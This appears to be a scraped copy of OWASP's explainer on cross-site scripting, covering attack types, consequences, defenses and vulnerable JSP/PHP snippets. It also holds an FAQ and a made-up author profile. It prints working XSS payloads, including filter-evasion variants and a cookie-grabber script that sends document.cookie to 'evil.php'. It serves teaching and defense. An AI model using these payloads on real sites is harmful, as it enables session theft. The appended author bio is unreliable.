Cross Site Scripting (XSS) | OWASP Foundation (2024)

Author: KirstenS
Contributor(s): Jim Manico, Jeff Williams, Dave Wichers, Adar Weidman, Roman, Alan Jex, Andrew Smith, Jeff Knutson, Imifos, Erez Yalon, kingthorin, Vikas Khanna. Grant Ongers

Overview

Cross-Site Scripting (XSS) attacks are a type of injection, in whichmalicious scripts are injected into otherwise benign and trustedwebsites. XSS attacks occur when an attacker uses a web application tosend malicious code, generally in the form of a browser side script, toa different end user. Flaws that allow these attacks to succeed arequite widespread and occur anywhere a web application uses input from auser within the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspectinguser. The end user’s browser has no way to know that the script shouldnot be trusted, and will execute the script. Because it thinks thescript came from a trusted source, the malicious script can access anycookies, session tokens, or other sensitive information retained by thebrowser and used with that site. These scripts can even rewrite thecontent of the HTML page. For more details on the different types of XSSflaws, see: Types of Cross-Site Scripting.

How to Avoid Cross-site scripting Vulnerabilities

  • XSS (Cross Site Scripting) Prevention Cheat Sheet
  • DOM based XSS Prevention Cheat Sheet
  • OWASP Development Guide article on Data Validation
  • OWASP Development Guide article on Phishing

How to Review Code for Cross-site scripting Vulnerabilities

See the OWASP Code Review Guide.

How to Test for Cross-site scripting Vulnerabilities

See the latest OWASP Testing Guide article on how totest for the various kinds of XSS vulnerabilities.

  • Testing_for_Reflected_Cross_site_scripting
  • Testing_for_Stored_Cross_site_scripting
  • Testing_for_DOM-based_Cross_site_scripting

Description

Cross-Site Scripting (XSS) attacks occur when:

  1. Data enters a Web application through an untrusted source, most frequently a web request.
  2. The data is included in dynamic content that is sent to a web user without being validated for malicious content.

The malicious content sent to the web browser often takes the form of asegment of JavaScript, but may also include HTML, Flash, or any othertype of code that the browser may execute. The variety of attacks basedon XSS is almost limitless, but they commonly include transmittingprivate data, like cookies or other session information, to theattacker, redirecting the victim to web content controlled by theattacker, or performing other malicious operations on the user’s machineunder the guise of the vulnerable site.

Reflected and Stored XSS Attacks

XSS attacks can generally be categorized into two categories: reflected and stored. There is a third, much less well-known type of XSS attackcalled DOM Based XSS that is discussedseparately here.

Reflected XSS Attacks

Reflected attacks are those where the injected script is reflected offthe web server, such as in an error message, search result, or any otherresponse that includes some or all of the input sent to the server aspart of the request. Reflected attacks are delivered to victims viaanother route, such as in an e-mail message, or on some other website.When a user is tricked into clicking on a malicious link, submitting aspecially crafted form, or even just browsing to a malicious site, theinjected code travels to the vulnerable web site, which reflects theattack back to the user’s browser. The browser then executes the codebecause it came from a “trusted” server. Reflected XSS is also sometimesreferred to as Non-Persistent or Type-I XSS (the attack is carried out through a single request / response cycle).

Stored XSS Attacks

Stored attacks are those where the injected script is permanently storedon the target servers, such as in a database, in a message forum,visitor log, comment field, etc. The victim then retrieves the maliciousscript from the server when it requests the stored information. StoredXSS is also sometimes referred to as Persistent or Type-II XSS.

Blind Cross-site Scripting

Blind Cross-site Scripting is a form of persistent XSS. It generally occurs when the attacker’s payload saved on the server and reflected back to the victim from the backend application. For example in feedback forms, an attacker can submit the malicious payload using the form, and once the backend user/admin of the application will open the attacker’s submitted form via the backend application, the attacker’s payload will get executed. Blind Cross-site Scripting is hard to confirm in the real-world scenario but one of the best tools for this is XSS Hunter.

Other Types of XSS Vulnerabilities

In addition to Stored and Reflected XSS, another type of XSS, DOM BasedXSS was identified by Amit Kleinin 2005. OWASPrecommends the XSS categorization as described in the OWASP Article:Types of Cross-Site Scripting, which covers allthese XSS terms, organizing them into a matrix of Stored vs. ReflectedXSS and Server vs. Client XSS, where DOM Based XSS is a subset of ClientXSS.

XSS Attack Consequences

The consequence of an XSS attack is the same regardless of whether it isstored or reflected (or DOM Based). Thedifference is in how the payload arrives at the server. Do not be fooledinto thinking that a “read-only” or “brochureware” site is notvulnerable to serious reflected XSS attacks. XSS can cause a variety ofproblems for the end user that range in severity from an annoyance tocomplete account compromise. The most severe XSS attacks involvedisclosure of the user’s session cookie, allowing an attacker to hijackthe user’s session and take over the account. Other damaging attacksinclude the disclosure of end user files, installation of Trojan horseprograms, redirecting the user to some other page or site, or modifyingpresentation of content. An XSS vulnerability allowing an attacker tomodify a press release or news item could affect a company’s stock priceor lessen consumer confidence. An XSS vulnerability on a pharmaceuticalsite could allow an attacker to modify dosage information resulting inan overdose. For more information on these types of attacks seeContent_Spoofing.

How to Determine If You Are Vulnerable

XSS flaws can be difficult to identify and remove from a webapplication. The best way to find flaws is to perform a security reviewof the code and search for all places where input from an HTTP requestcould possibly make its way into the HTML output. Note that a variety ofdifferent HTML tags can be used to transmit a malicious JavaScript.Nessus, Nikto, and some other available tools can help scan a websitefor these flaws, but can only scratch the surface. If one part of awebsite is vulnerable, there is a high likelihood that there are otherproblems as well.

How to Protect Yourself

The primary defenses against XSS are described in the OWASP XSS Prevention CheatSheet.

Also, it’s crucial that you turn off HTTP TRACE support on all webservers. An attacker can steal cookie data via Javascript even whendocument.cookie is disabled or not supported by the client. This attackis mounted when a user posts a malicious script to a forum so whenanother user clicks the link, an asynchronous HTTP Trace call istriggered which collects the user’s cookie information from the server,and then sends it over to another malicious server that collects thecookie information so the attacker can mount a session hijack attack.This is easily mitigated by removing support for HTTP TRACE on all webservers.

The OWASP ESAPI project has produced a set ofreusable security components in several languages, including validationand escaping routines to prevent parameter tampering and the injectionof XSS attacks. In addition, the OWASP WebGoat Project trainingapplication has lessons on Cross-Site Scripting and data encoding.

Alternate XSS Syntax

XSS Using Script in Attributes

XSS attacks may be conducted without using <script>...</script>tags. Other tags will do exactly the same thing, for example:<body onload=alert('test1')> or other attributes like: onmouseover, onerror.

onmouseover

<b onmouseover=alert('Wufff!')>click me!</b>

onerror

<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

XSS Using Script Via Encoded URI Schemes

If we need to hide against web application filters we may try to encodestring characters, e.g.: a=&\#X41 (UTF-8) and use it in IMG tags:

<IMG SRC=j&#X41vascript:alert('test2')>

There are many different UTF-8 encoding notations that give us even morepossibilities.

XSS Using Code Encoding

We may encode our script in base64 and place it in META tag. This way weget rid of alert() totally. More information about this method can befound in RFC 2397

<META HTTP-EQUIV="refresh"CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

These and others examples can be found at the OWASP XSS Filter Evasion Cheat Sheet which is a trueencyclopedia of the alternate XSS syntax attack.

Examples

Cross-site scripting attacks may occur anywhere that possibly malicioususers are allowed to post unregulated material to a trusted website forthe consumption of other valid users.

The most common example can be found in bulletin-board websites whichprovide web based mailing list-style functionality.

Example 1

The following JSP code segment reads an employee ID, eid, from an HTTPrequest and displays it to the user.

<% String eid = request.getParameter("eid"); %>...Employee ID: <%= eid %>

The code in this example operates correctly if eid contains onlystandard alphanumeric text. If eid has a value that includesmeta-characters or source code, then the code will be executed by theweb browser as it displays the HTTP response.

Initially, this might not appear to be much of a vulnerability. Afterall, why would someone enter a URL that causes malicious code to run ontheir own computer? The real danger is that an attacker will create themalicious URL, then use e-mail or social engineering tricks to lurevictims into visiting a link to the URL. When victims click the link,they unwittingly reflect the malicious content through the vulnerableweb application back to their own computers. This mechanism ofexploiting vulnerable web applications is known as Reflected XSS.

Example 2

The following JSP code segment queries a database for an employee with agiven ID and prints the corresponding employee’s name.

<%... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from emp where id="+eid); if (rs != null) { rs.next(); String name = rs.getString("name");%>Employee Name: <%= name %>

As in Example 1, this code functions correctly when the values of nameare well-behaved, but it does nothing to prevent exploits if they arenot. Again, this code can appear less dangerous because the value ofname is read from a database, whose contents are apparently managed bythe application. However, if the value of name originates fromuser-supplied data, then the database can be a conduit for maliciouscontent. Without proper input validation on all data stored in thedatabase, an attacker can execute malicious commands in the user’s webbrowser. This type of exploit, known as Stored XSS, is particularlyinsidious because the indirection caused by the data store makes it moredifficult to identify the threat and increases the possibility that theattack will affect multiple users. XSS got its start in this form withwebsites that offered a “guestbook” to visitors. Attackers would includeJavaScript in their guestbook entries, and all subsequent visitors tothe guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code thatincludes unvalidated data in an HTTP response. There are three vectorsby which an XSS attack can reach a victim:

  • As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker’s content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user’s machine to the attacker or perform other nefarious activities.
  • As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker’s perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
  • A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

Attack Examples

Example 1: Cookie Grabber

If the application doesn’t validate the input data, the attacker caneasily steal a cookie from an authenticated user. All the attacker hasto do is to place the following code in any posted input(ie: messageboards, private messages, user profiles):

<SCRIPT type="text/javascript">var adr = '../evil.php?cakemonster=' + escape(document.cookie);</SCRIPT>

The above code will pass an escaped content of the cookie (according toRFC content must be escaped before sending it via HTTP protocol with GETmethod) to the evil.php script in “cakemonster” variable. The attackerthen checks the results of their evil.php script (a cookie grabber scriptwill usually write the cookie to a file) and use it.

Error Page Example

Let’s assume that we have an error page, which is handling requests fora non existing pages, a classic 404 error page. We may use the codebelow as an example to inform user about what specific page is missing:

<html><body><?phpprint "Not found: " . urldecode($_SERVER["REQUEST_URI"]);?></body></html>

Let’s see how it works: http://testsite.test/file_which_not_existIn response we get: Not found: /file_which_not_exist

Now we will try to force the error page to include our code: http://testsite.test/<script>alert("TEST");</script>The result is: Not found: / (but with JavaScript code <script>alert("TEST");</script>)

We have successfully injected the code, our XSS! What does it mean? Forexample, that we may use this flaw to try to steal a user’s sessioncookie.

  • XSS Attacks
  • Invoking untrusted mobile code
  • Cross Site History Manipulation (XSHM)

Related Vulnerabilities

  • Improper Data Validation
  • Types of Cross-Site Scripting
  • OWASP Development Guide article on Data Validation
  • OWASP Development Guide article on Phishing
  • Data Validation

References

Category:InjectionCategory:OWASP Top Ten ProjectCategory:Attack

Cross Site Scripting (XSS) | OWASP Foundation (2024)

FAQs

What is a good solution for cross-site scripting? ›

Use appropriate response headers.

To prevent XSS in HTTP responses that aren't intended to contain any HTML or JavaScript, you can use the Content-Type and X-Content-Type-Options headers to ensure that browsers interpret the responses in the way you intend.

Why is cross-site scripting illegal? ›

Cyber criminals can use cross-site scripting attacks to execute phishing schemes, steal personal information, and facilitate identity theft, as well as carry out a range of malicious activities like compromised user sessions, website defacement, and even complete control over the affected user's account.

How severe is cross-site scripting? ›

XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user's session cookie, allowing an attacker to hijack the user's session and take over the account.

What is the most effective defense against cross-site scripting attacks? ›

Validate input on arrival

Encoding is probably the most important line of XSS defense, but it is not sufficient to prevent XSS vulnerabilities in every context. You should also validate input as strictly as possible at the point when it is first received from a user.

Is cross-site scripting still relevant? ›

Vulnerabilities allowing XSS have consistently been the #1 or #2 high-risk vulnerability found in all three years of Synopsys testing. Of the high-risk vulnerabilities found in the 2022 tests, 19% were found to be associated with cross-site scripting attacks.

What is the weakness of cross-site scripting? ›

In short, XSS vulnerabilities occur when input coming into web applications is not validated and/or output to the browser is not properly escaped before being displayed. The three most common types of XSS attacks are persistent, reflected, and DOM-based..

Is testing for XSS illegal? ›

It's important to remember that testing for XSS without the website owner's permission is illegal and can lead to serious legal consequences. Therefore, make sure you have the website owner's permission before conducting XSS tests.

What are the three types of cross-site scripting attacks? ›

Types of XSS attacks

According to the Open Web Application Security Project (OWASP), XSS attacks fall into one of three categories: reflected XSS, stored XSS, and Document Object Model (DOM) XSS.

What is the difference between XSS and cross-site scripting? ›

XSS is a two-way attack while CSRF is only one-way. In XSS, threat actors can execute a code, receive a response, and forward it to the desired destination whereas CSRF allows attackers only to raise a corrupted HTTP request. XSS is JavaScript-based while CSRF is HTTP-based.

Is XSS dead? ›

Additionally, Chrome recently announced the retirement of its own XSS filter, which means that all modern web browsers have now dropped support for this dead security technology.

Is XSS possible in API? ›

APIs are essential for creating dynamic and interactive web applications, but they also pose a security risk if not handled properly. XSS, or cross-site scripting, is a common attack that injects malicious code into your web pages through API requests.

How common is XSS vulnerability? ›

In a Cross-site Scripting attack (XSS), the attacker uses your vulnerable web page to deliver malicious JavaScript to your user. The user's browser executes this malicious JavaScript on the user's computer. Note that about one in three websites is vulnerable to Cross-site scripting.

What's the best mitigation for XSS? ›

That said, it's important to consider the following strategies for how to mitigate cross-site scripting.
  • Whenever possible, prohibit HTML code in inputs. ...
  • Validate inputs. ...
  • Secure your cookies. ...
  • Sanitize data. ...
  • Use a web application firewall (WAF).

When can a user fall victim of cross-site scripting? ›

Answer: An attacker who exploits a cross-site scripting vulnerability is typically able to: Impersonate or masquerade as the victim user. Carry out any action that the user is able to perform. Read any data that the user is able to access.

Which language is commonly used with cross-site scripting attacks? ›

XSS attacks can exploit vulnerabilities in a range of programming environments, including VBScript, Flash, ActiveX, and JavaScript. Most often, XSS targets JavaScript because of the language's tight integration with most browsers.

What method is effective against cross-site scripting? ›

That said, it's important to consider the following strategies for how to mitigate cross-site scripting. Whenever possible, prohibit HTML code in inputs. Preventing users from posting HTML code into form inputs is a straightforward and effective measure. Secure your cookies.

What are the valid ways to prevent a XSS? ›

Validation, encoding and sanitization are primary XSS prevention techniques, but others can help limit damage from inadvertent mistakes. These include cookie attributes, which change how JavaScript and browsers can interact with cookies, and a content security policy allowlist that prevents content from being loaded.

What is the mitigation for cross-site scripting? ›

Cross-Site Scripting (XSS) Vulnerability Mitigation

To mitigate this vulnerability, you should sanitize the user input before storing or displaying it. Sanitize Input: Use a library like XSS to sanitize the input, ensuring that any HTML tags or JavaScript are rendered harmless.

Which of the following is the best approach to prevent cross-site scripting XSS flaws? ›

To keep yourself safe from XSS, you must sanitize your input. Your application code should never output data received as input directly to the browser without checking it for malicious code. For more details, refer to the following articles: Preventing XSS Attacks and How to Prevent DOM-based Cross-site Scripting.

References

Top Articles
Latest Posts
Article information

Author: Wyatt Volkman LLD

Last Updated:

Views: 6746

Rating: 4.6 / 5 (46 voted)

Reviews: 93% of readers found this page helpful

Author information

Name: Wyatt Volkman LLD

Birthday: 1992-02-16

Address: Suite 851 78549 Lubowitz Well, Wardside, TX 98080-8615

Phone: +67618977178100

Job: Manufacturing Director

Hobby: Running, Mountaineering, Inline skating, Writing, Baton twirling, Computer programming, Stone skipping

Introduction: My name is Wyatt Volkman LLD, I am a handsome, rich, comfortable, lively, zealous, graceful, gifted person who loves writing and wants to share my knowledge and understanding with you.